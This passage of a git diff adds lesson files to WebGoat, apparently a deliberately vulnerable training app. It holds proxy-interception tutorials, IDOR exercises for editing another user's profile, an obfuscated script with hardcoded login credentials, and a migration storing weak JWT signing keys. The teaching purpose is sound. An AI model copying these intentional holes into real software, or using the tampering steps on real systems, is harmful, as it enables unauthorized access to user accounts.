WebGoat,style="lesson-image"] + +{nbsp} + + +Then in the `URL Inc Regex` box type: + +[source] +---- +.*WebGoat.* +---- + +And in the `URL Exc Regex` box type: + +[source] +---- +.*lesson.*.mvc +---- + +Click 'Apply to close the window, and ZAP will now no longer show internal WebGoat requests. diff --git a/src/main/resources/lessons/httpproxies/documentation/6assignment.adoc b/src/main/resources/lessons/httpproxies/documentation/6assignment.adoc new file mode 100644 index 000000000..da3a4a477 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/6assignment.adoc @@ -0,0 +1,34 @@ +==== Configure a breakpoint filter + +Before we start diving into intercepting requests with ZAP, we need to exclude the internal requests from the WebGoat +framework. Otherwise, ZAP will also stop at all the requests which are only necessary for the inner working of WebGoat. +Basically, a breakpoint is configured that will intercept requests when the request header contains a POST. You can add other rules as long as the polling `.mvc` messages will be excluded. As this would be annoying. + +Set the breakpoint as follows: + +image::images/breakpoint.png[Set breakpoint,style="lesson-image"] + +{nbsp} + + +You can see your active breakpoints here. And if you click on the checkbox, you can temporarily deactivate them and enable them again when you are just about to intercept the request. *DO NOT use the green/red button anymore* + +image::images/breakpoint2.png[Active breakpoints,style="lesson-image"] + +{nbsp} + + +Once you are intercepting requests and a request is made, it should look something like this: + +image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"] + +==== Intercept and modify a request + +Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When your request is intercepted (hits the breakpoint), +modify it as follows. + +* Change the Method to GET +* Add a header 'x-request-intercepted:true' +* Remove the request body and instead send 'changeMe' as a query string parameter and set the value to 'Requests are tampered easily' (without the single quotes) + +Then let the request continue through (by hitting the play button). + +NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself. diff --git a/src/main/resources/lessons/httpproxies/documentation/7resend.adoc b/src/main/resources/lessons/httpproxies/documentation/7resend.adoc new file mode 100644 index 000000000..0128859a4 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/7resend.adoc @@ -0,0 +1,30 @@ +==== Use the "Edit and resend" functionality in ZAP + +Instead of intercepting the request, there is also an option to resend the same request again within ZAP. +It helps you solve an assignment because you do not have to switch to ZAP, enable the intercept button, go back to WebGoat and perform the request again from within the browser. + +Let's look at an example. We are going to use the e-mail example from the WebWolf introduction lesson. This lesson +will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window, select the URL you want to resend right click +on the URL and select `Open/Resend with Request Editor`. You can also find the request in the left pane of ZAP as indicated +with the red arrow in the image below: + +image::images/zap_edit_and_resend.png[Open/Resend with Request Editor,style="lesson-image"] + +{nbsp} + + +A new window will open, and here, you can modify the request, for example, change the e-mail address to someone else and send it again. +In the response tab, you can inspect the response of the request. The response will show a solved message in some assignments, but sometimes you get a code/flag that you need to submit in WebGoat to complete the assignment. Always be on the +lookout for a response. If you solved the assignment by making a request, WebGoat would automatically mark +the lesson as solved. + +image::images/zap_edit_and_send.png[Open/Resend with Request Editor,style="lesson-image"] + +{nbsp} + + +++++ + +++++ + +image::images/zap_edit_and_response.png[Open/Resend response,style="lesson-image"] + + diff --git a/src/main/resources/lessons/httpproxies/documentation/8httpsproxy.adoc b/src/main/resources/lessons/httpproxies/documentation/8httpsproxy.adoc new file mode 100644 index 000000000..0c3875dfa --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/8httpsproxy.adoc @@ -0,0 +1,27 @@ +== Proxy from ZAP to HTTPS + +The ZAP proxy can also be configured to proxy *HTTPS* requests. It will terminate the HTTPS connection in ZAP and then proxy it to the target using its keystore. You can even proxy to sites with mutual TLS. In that case, you configure OWASP ZAP with the keystore and key to use for the connection. + +Go to Tools/Options/Client Certificate to proxy to a mutual TLS HTTPS site. +Go to Tools/Options/Connection if you want to set timeouts and want to force the use of TLSv1.2 e.g. + + +=== Export the certificate + +Depending on the local tools installation, ZAP can start a browser directly with some adjusted options like network settings and certificate adjustments. However, you should do this step if you want to start your browser independently of ZAP. To be able to use the browser, the browser needs the certificate, which you can export here: + +image::images/rootca.png[ZAP root CA,style="lesson-image"] +image::images/savecerts.png[ZAP save CA,style="lesson-image"] + + + +=== Import the OWASP ZAP root certificate + +. Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` +. Search for _certificates_ +. Click _View certificates_ +. Import the ZAP root certificate that was saved (see the previous page) + +image::images/firefoxsettingscerts.png[Firefox Certificates,width="75%",style="lesson-image"] + +image::images/importcerts.png[Firefox Certificate import,width="75%",style="lesson-image"] diff --git a/src/main/resources/lessons/httpproxies/documentation/9manual.adoc b/src/main/resources/lessons/httpproxies/documentation/9manual.adoc new file mode 100644 index 000000000..ab087170f --- /dev/null +++ b/src/main/resources/lessons/httpproxies/documentation/9manual.adoc @@ -0,0 +1,56 @@ +== Manually setting the proxy + +This section is only necessary if you want to use Burp or running the browser through ZAP is not working in both +cases we need to do some extra configuration. +In the latest release of Chrome and Firefox no longer proxy traffic from localhost by default. + +=== Option 1: Change settings of your browser + +- To proxy localhost (and related addresses) with newer Firefox versions (>= 67), the preference network. proxy.allow_hijacking_localhost (accessible through the about:config page) must be set to true. +- To proxy localhost (and related addresses) with newer Chrome versions (>= 72) the command line argument --proxy-bypass-list=<-loopback> must be provided. + +=== Option 2: Use www.webgoat.local + +- Use the hostname of your machine instead of `localhost`. You can find or add a hostname in `/etc/hosts` on Linux and MacOSX and `C:\Windows\System32\drivers\etc` on Windows + +image::images/newlocalhost.png[Hosts file,style="lesson-image"] + +Then in your browser, use http://www.webgoat.local:8080/WebGoat as the address. + +=== Configure browser to use proxy + +To manually configure a proxy in the browser, follow one of the configurations below: + +==== Firefox Proxy Config + +. Go to your Firefox Preferences (Mac, Linux) or Options (Windows) from the menu.` +. Select _Advanced_ on the left +. Select _Network_ in the Advanced Pane +. Click _Settings_ +. Select _Manual proxy configuration_ +.. input *127.0.0.1* as the proxy (or www.webgoat.local depending on the choice you made above) +.. input *8090* as the port if running WebGoat locally, and you updated ZAP to 8090 (otherwise, use *8080*) +.. check the _Use this proxy server for all protocols_ checkbox + +image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"] + +==== Chrome Proxy Config + +. Bring up Chrome's settings from the menu +. In the _Search settings_ box, type in *proxy* and hit Enter/Return. This should bring up the Network heading with a _Change proxy settings_ button. +. Click the _Change proxy settings_ button +. Select the _proxies_ tab +. Select Web Proxy (HTTP) +. Input 127.0.0.1 (or www.webgoat.local depending on the choice you made) in the first box under _Web Proxy Server_ and your port # (8090 if running WebGoat locally, otherwise 8080) in the second box (to the right) +. You may also want to clear the _Bypass proxy settings for these Hosts & Domains_ text input at the bottom but shouldn't need to + + +image::images/chrome-manual-proxy.png[Chrome Proxy Config,700,447,style="lesson-image"] + +(Mac config image above) + +image::images/chrome-manual-proxy-win.png[Chrome Proxy, 394,346,style="lesson-image"] + +(Win config image above) + + diff --git a/src/main/resources/lessons/httpproxies/html/HttpProxies.html b/src/main/resources/lessons/httpproxies/html/HttpProxies.html new file mode 100644 index 000000000..3b96be434 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/html/HttpProxies.html @@ -0,0 +1,50 @@ + + + + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + diff --git a/src/main/resources/lessons/httpproxies/i18n/WebGoatLabels.properties b/src/main/resources/lessons/httpproxies/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..d8e082f50 --- /dev/null +++ b/src/main/resources/lessons/httpproxies/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +2.http-proxies.title=HTTP Proxies + +http-proxies.intercept.success=Well done, you tampered the request as expected +http-proxies.intercept.failure=Please try again. Make sure to make all the changes. And case sensitivity may matter ... or not, you never know! \ No newline at end of file diff --git a/src/main/resources/lessons/httpproxies/images/breakpoint.png b/src/main/resources/lessons/httpproxies/images/breakpoint.png new file mode 100644 index 000000000..cac7c9ef4 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/breakpoint.png differ diff --git a/src/main/resources/lessons/httpproxies/images/breakpoint2.png b/src/main/resources/lessons/httpproxies/images/breakpoint2.png new file mode 100644 index 000000000..afcc44f0d Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/breakpoint2.png differ diff --git a/src/main/resources/lessons/httpproxies/images/burpfilter.png b/src/main/resources/lessons/httpproxies/images/burpfilter.png new file mode 100644 index 000000000..99359e531 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/burpfilter.png differ diff --git a/src/main/resources/lessons/httpproxies/images/burpfilterclient.png b/src/main/resources/lessons/httpproxies/images/burpfilterclient.png new file mode 100644 index 000000000..259f56eba Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/burpfilterclient.png differ diff --git a/src/main/resources/lessons/httpproxies/images/burpintercept.png b/src/main/resources/lessons/httpproxies/images/burpintercept.png new file mode 100644 index 000000000..de72e2ba6 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/burpintercept.png differ diff --git a/src/main/resources/lessons/httpproxies/images/burpintercepted.png b/src/main/resources/lessons/httpproxies/images/burpintercepted.png new file mode 100644 index 000000000..11aa1b62f Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/burpintercepted.png differ diff --git a/src/main/resources/lessons/httpproxies/images/burpproxy.png b/src/main/resources/lessons/httpproxies/images/burpproxy.png new file mode 100644 index 000000000..6093bc583 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/burpproxy.png differ diff --git a/src/main/resources/lessons/httpproxies/images/burpwarn.png b/src/main/resources/lessons/httpproxies/images/burpwarn.png new file mode 100644 index 000000000..642550e4f Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/burpwarn.png differ diff --git a/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy-win.png b/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy-win.png new file mode 100644 index 000000000..fd3967972 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy-win.png differ diff --git a/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy.png b/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy.png new file mode 100644 index 000000000..165262d2a Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/chrome-manual-proxy.png differ diff --git a/src/main/resources/lessons/httpproxies/images/firefox-proxy-config.png b/src/main/resources/lessons/httpproxies/images/firefox-proxy-config.png new file mode 100644 index 000000000..0ea3bbe06 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/firefox-proxy-config.png differ diff --git a/src/main/resources/lessons/httpproxies/images/firefoxsettingscerts.png b/src/main/resources/lessons/httpproxies/images/firefoxsettingscerts.png new file mode 100644 index 000000000..216cf7127 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/firefoxsettingscerts.png differ diff --git a/src/main/resources/lessons/httpproxies/images/importcerts.png b/src/main/resources/lessons/httpproxies/images/importcerts.png new file mode 100644 index 000000000..d00fb3c4b Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/importcerts.png differ diff --git a/src/main/resources/lessons/httpproxies/images/loginscreen.png b/src/main/resources/lessons/httpproxies/images/loginscreen.png new file mode 100644 index 000000000..cf4a9365b Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/loginscreen.png differ diff --git a/src/main/resources/lessons/httpproxies/images/newlocalhost.png b/src/main/resources/lessons/httpproxies/images/newlocalhost.png new file mode 100644 index 000000000..e5970e430 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/newlocalhost.png differ diff --git a/src/main/resources/lessons/httpproxies/images/proxy-intercept-button.png b/src/main/resources/lessons/httpproxies/images/proxy-intercept-button.png new file mode 100644 index 000000000..5223378f4 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/proxy-intercept-button.png differ diff --git a/src/main/resources/lessons/httpproxies/images/proxy-intercept-details.png b/src/main/resources/lessons/httpproxies/images/proxy-intercept-details.png new file mode 100644 index 000000000..510d751c0 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/proxy-intercept-details.png differ diff --git a/src/main/resources/lessons/httpproxies/images/rootca.png b/src/main/resources/lessons/httpproxies/images/rootca.png new file mode 100644 index 000000000..c94c975db Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/rootca.png differ diff --git a/src/main/resources/lessons/httpproxies/images/savecerts.png b/src/main/resources/lessons/httpproxies/images/savecerts.png new file mode 100644 index 000000000..0ce5bd9dc Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/savecerts.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap-browser-button.png b/src/main/resources/lessons/httpproxies/images/zap-browser-button.png new file mode 100644 index 000000000..8537a7202 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap-browser-button.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap-exclude.png b/src/main/resources/lessons/httpproxies/images/zap-exclude.png new file mode 100644 index 000000000..107c00380 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap-exclude.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap-history.png b/src/main/resources/lessons/httpproxies/images/zap-history.png new file mode 100644 index 000000000..dd89a4793 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap-history.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap-start.png b/src/main/resources/lessons/httpproxies/images/zap-start.png new file mode 100644 index 000000000..2c57ad368 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap-start.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap_edit_and_resend.png b/src/main/resources/lessons/httpproxies/images/zap_edit_and_resend.png new file mode 100644 index 000000000..e604cbd2a Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap_edit_and_resend.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap_edit_and_response.png b/src/main/resources/lessons/httpproxies/images/zap_edit_and_response.png new file mode 100644 index 000000000..88699edca Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap_edit_and_response.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap_edit_and_send.png b/src/main/resources/lessons/httpproxies/images/zap_edit_and_send.png new file mode 100644 index 000000000..968db6dda Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap_edit_and_send.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap_exclude.png b/src/main/resources/lessons/httpproxies/images/zap_exclude.png new file mode 100644 index 000000000..63ac4bc61 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap_exclude.png differ diff --git a/src/main/resources/lessons/httpproxies/images/zap_exclude_url.png b/src/main/resources/lessons/httpproxies/images/zap_exclude_url.png new file mode 100644 index 000000000..592afc090 Binary files /dev/null and b/src/main/resources/lessons/httpproxies/images/zap_exclude_url.png differ diff --git a/src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc new file mode 100644 index 000000000..2029e888d --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_editOtherProfile.adoc @@ -0,0 +1,8 @@ +==== Edit Another Profile + +Older apps may follow different patterns, but RESTful apps (which is what's going on here) often just change methods (and include a body or not) +to perform different functions. + +Use that knowledge to take the same base request, change its method, path and body (payload) to modify another user's (Buffalo Bill's) profile. +Change the role to something lower (since higher privilege roles and users are usually lower numbers). Also change the +user's color to 'red'. \ No newline at end of file diff --git a/src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc new file mode 100644 index 000000000..281a4df82 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_editOwnProfile.adoc @@ -0,0 +1,4 @@ +==== Edit Your Own Profile + +If an application only exposes a way to view your profile or some object (i.e. 'GET' in RESTful), that does not mean you cannot edit it. +Use your intercept proxy to modify the request such that it would modify your profile. Change the color from 'yellow' to 'black' (sans single quotes). \ No newline at end of file diff --git a/src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc b/src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc new file mode 100644 index 000000000..43b472529 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_inputAltPath.adoc @@ -0,0 +1 @@ +Please input the alternate path to the Url to view your own profile. Please start with 'WebGoat' (i.e. disregard 'http://localhost:8080/') \ No newline at end of file diff --git a/src/main/resources/lessons/idor/documentation/IDOR_intro.adoc b/src/main/resources/lessons/idor/documentation/IDOR_intro.adoc new file mode 100644 index 000000000..406acc578 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_intro.adoc @@ -0,0 +1,40 @@ + +== Direct Object References + +Direct Object References are when an application uses client-provided input to access data & objects. + +=== Examples + +Examples of Direct Object References using the GET method may look something like + +`https://some.company.tld/dor?id=12345` + +`https://some.company.tld/images?img=12345` + +`https://some.company.tld/dor/12345` + +=== Other Methods + +POST, PUT, DELETE or other methods are also potentially susceptible and mainly only differ in the method and the potential payload. + +== *Insecure* Direct Object References + +These are considered insecure when the reference is not properly handled and allows for authorization bypasses or disclose private data that could be used to +perform operations or access data that the user should not be able to perform or access. +Let's say that as a user, you go to view your profile and the URL looks something like: + +`https://some.company.tld/app/user/23398` + +\... and you can view your profile there. What happens if you navigate to: + +`https://some.company.tld/app/user/23399` ... or use another number at the end. If you can manipulate the number (user id) and view another's profile, then the object reference is insecure. +This of course can be checked or expanded beyond GET methods to view data, but to also manipulate data. + +=== More good reading +Before we go on to practice, here's some good reading on Insecure Direct Object References: + +* link:++https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)++[] +* https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control +* https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html +* https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References +* http://cwe.mitre.org/data/definitions/639.html diff --git a/src/main/resources/lessons/idor/documentation/IDOR_login.adoc b/src/main/resources/lessons/idor/documentation/IDOR_login.adoc new file mode 100644 index 000000000..f9eb76f7e --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_login.adoc @@ -0,0 +1,7 @@ +=== Authenticate First, Abuse Authorization Later + +Many access control issues are susceptible to attack from an authenticated-but-unauthorized user. So, let's start by legitimately authenticating. Then, we will look for ways to bypass or abuse Authorization. + +The id and password for the account in this case are 'tom' and 'cat' (It is an insecure app, right?). + +After authenticating, proceed to the next screen. \ No newline at end of file diff --git a/src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc b/src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc new file mode 100644 index 000000000..7c76de365 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_mitigation.adoc @@ -0,0 +1,58 @@ +== Secure Object References + +=== Start with the end in mind +Do you have your access control documented? If you don't, how can you enforce it? Access control is defined +by the business logic that guides the application and/or privacy and other laws. + +==== Horizontal and Vertical Access Control +Often times we think of access control in terms of 'roles' (user, power-user, admin, etc.). +However, as noted in the previous exercises, users with the same 'role' can access each other's data. This is +horizontal access control. Both should be enforced. + +.Access Control Matrix Example +|=== +|Endpoint | Method | Description | Roles, Access Rules | Notes, Caveats + +| /profile +| GET +| view user profile +| Logged in User, can only view their own role +| Admin roles must use diff Url to view others' profiles (see below) + +| /profile/{id} +| GET +| view user profile of a given user +| Logged in User can view their own profile by {id}, admins can also view +| n/a + +| /profile/{id} +| PUT +| edit user profile. profile object submitted from client with request +| Logged in User can edit their own profile by {id}, admins can also edit. +| Admin edit must be logged +|=== + +==== Audit Access +As displayed in the above example, your access control rules should include provisions of what access is logged. +For example, if a super-user or admin can edit other's profiles ... That is something that should be logged. Other +examples would include detected violations or attempts to violate access control mechanisms. + +=== Using Indrect References +Not many applications employ it, but you can use *indirect* references. In this case you can run your references across a hashing, +encoding or other function on the server so that the id that the client sees is not the actual reference +which the server handles. This will reduce efficiency some (a common trade-off for security) and is still subject to being +guessed, brute-forced or reverse engineered. + +This approach should not be the only protection used. It can be used as an additional layer. Your server must +implement the logic of mapping client (indirect) to server (direct) references. + +=== Access Control & APIs +Many time, APIs or RESTFul endpoints rely on obscurity , a static 'key', or lack of imagination on the user's part to control access. +Good options such as digitally signed JSON Web Tokens (https://jwt.io) are a good option for API authentication & access control using a +combination of the claims and a digital/cryptographic signature to validate the consumer. Other emerging standards such as +Secure Token Binding promise a 'cryptographic state' for web services in the request headers ... +https://tools.ietf.org/html/draft-ietf-tokbind-protocol-10 + +https://tools.ietf.org/html/draft-ietf-tokbind-negotiation-05 + +https://tools.ietf.org/html/draft-ietf-tokbind-https-06 diff --git a/src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc new file mode 100644 index 000000000..8dfba20fa --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_viewDiffs.adoc @@ -0,0 +1,6 @@ + +=== Observing Differences & Behaviors + +A consistent principle from the offensive side of AppSec is to view differences from the raw response to what is visible. +In other words (as you may have already noted in the client-side filtering lesson), there is often data in the raw response that doesn't show up on the screen/page. +View the profile below and take note of the differences. diff --git a/src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc new file mode 100644 index 000000000..1ee1ec64f --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_viewOtherProfile.adoc @@ -0,0 +1,7 @@ +=== Playing with the Patterns + +==== View Another Profile + +View someone else's profile by using the alternate path you already used to view your own profile. Use the 'View Profile' button +and intercept/modify the request to view another profile. Alternatively, you may also just be able to use a manual GET request with +your browser. \ No newline at end of file diff --git a/src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc b/src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc new file mode 100644 index 000000000..8725db0b4 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_viewOwnAltPath.adoc @@ -0,0 +1,7 @@ +=== Guessing & Predicting Patterns + +==== View Your Own Profile Another Way + +The application we are working with seems to follow a RESTful pattern so far as the profile goes. Many apps have roles in which an elevated user may access content of another. +In that case, just /profile won't work since the own user's session/authentication data won't tell us whose profile they want view. +So, what do you think is a likely pattern to view your own profile explicitly using a direct object reference? \ No newline at end of file diff --git a/src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc b/src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc new file mode 100644 index 000000000..253db42c3 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/IDOR_whatDiffs.adoc @@ -0,0 +1 @@ +In the text input below, list the two attributes that are in the server's response, but don't show above in the profile. diff --git a/src/main/resources/lessons/idor/documentation/temp.txt b/src/main/resources/lessons/idor/documentation/temp.txt new file mode 100644 index 000000000..f31bdbb50 --- /dev/null +++ b/src/main/resources/lessons/idor/documentation/temp.txt @@ -0,0 +1,15 @@ + + +- Describe how the attack works / should be some output + +

    Concept / Topic To Teach:

    + This lesson teaches how to perform XML External Entity Attacks. +
    +
    +

    +How the attacks works: +

    +An XML External Entity attack is a type of attack against an application that parses XML input. +This attack occurs when XML input containing a reference to an external entity is processed by a weakly +configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, +server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. diff --git a/src/main/resources/lessons/idor/html/IDOR.html b/src/main/resources/lessons/idor/html/IDOR.html new file mode 100644 index 000000000..b4b7f530f --- /dev/null +++ b/src/main/resources/lessons/idor/html/IDOR.html @@ -0,0 +1,182 @@ + + +
    + + +
    +
    + +
    + + +
    +
    +
    + + + + + + +
    + + + + + + + +
    user/passuser:pass: + +
    +
    + +
    +
    + +
    +
    + +
    + + +
    +
    +
    + + + + + + +
    + + + + + +
    +

    +
    + + + + + +
    +
    +
    +
    +
    + diff --git a/src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties b/src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..dc4f1874f --- /dev/null +++ b/src/main/resources/lessons/insecurelogin/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +insecure-login.title=Insecure Login + +insecure-login.intercept.success=Welcome, CaptainJack! +insecure-login.intercept.failure=Wrong username or password diff --git a/src/main/resources/lessons/insecurelogin/js/credentials.js b/src/main/resources/lessons/insecurelogin/js/credentials.js new file mode 100755 index 000000000..5f4e09e09 --- /dev/null +++ b/src/main/resources/lessons/insecurelogin/js/credentials.js @@ -0,0 +1,6 @@ +function submit_secret_credentials() { + var xhttp = new XMLHttpRequest(); + xhttp['open']('POST', 'InsecureLogin/login', true); + //sending the request is obfuscated, to descourage js reading + var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) +} \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/css/jwt.css b/src/main/resources/lessons/jwt/css/jwt.css new file mode 100644 index 000000000..19dd769d0 --- /dev/null +++ b/src/main/resources/lessons/jwt/css/jwt.css @@ -0,0 +1,116 @@ +a.list-group-item { + height:auto; +} +a.list-group-item.active small { + color:#fff; +} +.stars { + margin:20px auto 1px; +} +.img-responsive { + min-width: 100%; +} + + +.card { + font-size: 1em; + overflow: hidden; + padding: 0; + border: none; + border-radius: .28571429rem; + box-shadow: 0 1px 3px 0 #d4d4d5, 0 0 0 1px #d4d4d5; +} + +.card-block { + font-size: 1em; + position: relative; + margin: 0; + padding: 1em; + border: none; + border-top: 1px solid rgba(34, 36, 38, .1); + box-shadow: none; +} + +.card-img-top { + display: block; + width: 100%; + height: auto; +} + +.card-title { + font-size: 1.28571429em; + font-weight: 700; + line-height: 1.2857em; +} + +.card-text { + clear: both; + margin-top: .5em; + color: rgba(0, 0, 0, .68); +} + +.card-footer { + font-size: 1em; + position: static; + top: 0; + left: 0; + max-width: 100%; + padding: .75em 1em; + color: rgba(0, 0, 0, .4); + border-top: 1px solid rgba(0, 0, 0, .05) !important; + background: #fff; +} + +.card-inverse .btn { + border: 1px solid rgba(0, 0, 0, .05); +} + +.profile { + position: absolute; + top: -12px; + display: inline-block; + overflow: hidden; + box-sizing: border-box; + width: 50px; + height: 50px; + margin: 0; + border: 1px solid #fff; + border-radius: 50%; +} + +.profile-avatar { + display: block; + width: 100%; + height: auto; + border-radius: 50%; +} + +.profile-inline { + position: relative; + top: 0; + display: inline-block; +} + +.profile-inline ~ .card-title { + display: inline-block; + margin-left: 4px; + vertical-align: top; +} + +.text-bold { + font-weight: 700; +} + +.meta { + font-size: 1em; + color: rgba(0, 0, 0, .4); +} + +.meta a { + text-decoration: none; + color: rgba(0, 0, 0, .4); +} + +.meta a:hover { + color: rgba(0, 0, 0, .87); +} \ No newline at end of file diff --git a/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql b/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql new file mode 100644 index 000000000..975574373 --- /dev/null +++ b/src/main/resources/lessons/jwt/db/migration/V2019_09_25_1__jwt.sql @@ -0,0 +1,7 @@ +CREATE TABLE jwt_keys( + id varchar(20), + key varchar(20) +); + +INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234'); +INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter'); diff --git a/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc b/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc new file mode 100644 index 000000000..5a111fbc4 --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_decode.adoc @@ -0,0 +1,12 @@ +== Decoding a JWT token + +Let's try decoding a JWT token, for this you can use the webWolfLink:JWT[target=jwt] functionality inside WebWolf. +Given the following token: + +[source] +---- +eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI +---- + +Copy and paste the following token and decode the token, can you find the user inside the token? + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_final.adoc b/src/main/resources/lessons/jwt/documentation/JWT_final.adoc new file mode 100644 index 000000000..c39a663dc --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_final.adoc @@ -0,0 +1,5 @@ +== Final challenge + +Below you see two accounts, one of Jerry and one of Tom. Jerry wants to remove Tom's account from Twitter, but his token +can only delete his account. Can you try to help him and delete Toms account? + diff --git a/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc b/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc new file mode 100644 index 000000000..30273e81c --- /dev/null +++ b/src/main/resources/lessons/jwt/documentation/JWT_libraries.adoc @@ -0,0 +1,68 @@ +== JWT libraries + +There are a number of JWT libraries available in the Java ecosystem. Let's look at one of them: + + +The contents of our token is: + +[source] +---- +header: + +{ + "alg": 